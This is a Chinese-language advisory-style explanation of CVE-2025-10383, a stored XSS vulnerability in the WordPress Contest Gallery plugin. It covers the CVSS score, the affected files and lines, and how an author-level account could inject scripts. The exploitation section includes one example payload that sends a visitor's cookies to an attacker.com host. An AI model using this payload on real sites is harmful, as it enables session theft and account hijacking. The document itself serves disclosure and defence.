CVE-2025-10383CVE-2025-10383是WordPress的Contest Gallery插件(用于上传、投票及通过PayPal和Stripe销售)中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞由Wordfence安全团队的安全研究员发现,并于2025年10月4日公开披露。该插件在所有27.0.2及以下版本中均存在此漏洞。
该漏洞的根本原因在于插件对用户提交的表单字段参数(包括input和textarea类型字段)缺乏充分的输入净化(input sanitization)和输出转义(output escaping)处理。攻击者可以通过这些未经过滤的参数注入任意恶意JavaScript脚本。由于这些脚本被持久化存储在服务器端,每当普通用户访问包含恶意代码的页面时,注入的脚本就会在受害者浏览器中自动执行。
该漏洞的CVSS 3.1评分为6.4分,属于中危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要低权限认证(PR:L),即需要作者级别(author-level)或更高权限的账户才能利用。漏洞的范围发生了变化(S:C),对机密性和完整性产生低影响,对可用性无影响。这是一种典型的存储型XSS漏洞,可用于窃取用户会话Cookie、劫持账户权限、进行钓鱼攻击或传播恶意软件,对WordPress网站及其用户构成严重安全威胁。
该存储型XSS漏洞存在于Contest Gallery插件的多个表单字段处理文件中,具体涉及以下代码路径:
1. **input.php文件(第367、381、389行)**:这些行处理用户输入字段(如文本输入框)的数据。在这些位置,插件直接将用户提交的数据输出到HTML页面中,而没有使用WordPress标准的转义函数(如esc_html()、esc_attr()等)进行适当的输出转义。
2. **textarea.php文件(第330、338行)**:这些行处理多行文本输入字段。同样存在输入净化和输出转义不足的问题。
漏洞利用原理:
- 攻击者首先需要拥有一个具有作者级别(author)或更高权限的WordPress账户。这可以通过注册新账户(如果网站允许注册)或通过社会工程学获取现有账户凭据来实现。
- 攻击者登录后,利用Contest Gallery插件的上传或表单提交功能,在表单字段参数中注入恶意JavaScript代码,例如:`<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>`
- 由于插件未对输入进行过滤,也未对输出进行转义,恶意脚本被存储到数据库中。
- 当其他用户(包括管理员)访问包含该注入内容的页面时,恶意脚本将在其浏览器中执行,可执行会话劫持、权限提升、数据窃取等恶意操作。
该漏洞的利用门槛相对较低,主要因为它只需要低权限认证(PR:L),且无需用户交互(UI:N),攻击复杂度低(AC:L),这使得它成为一个高利用价值的漏洞。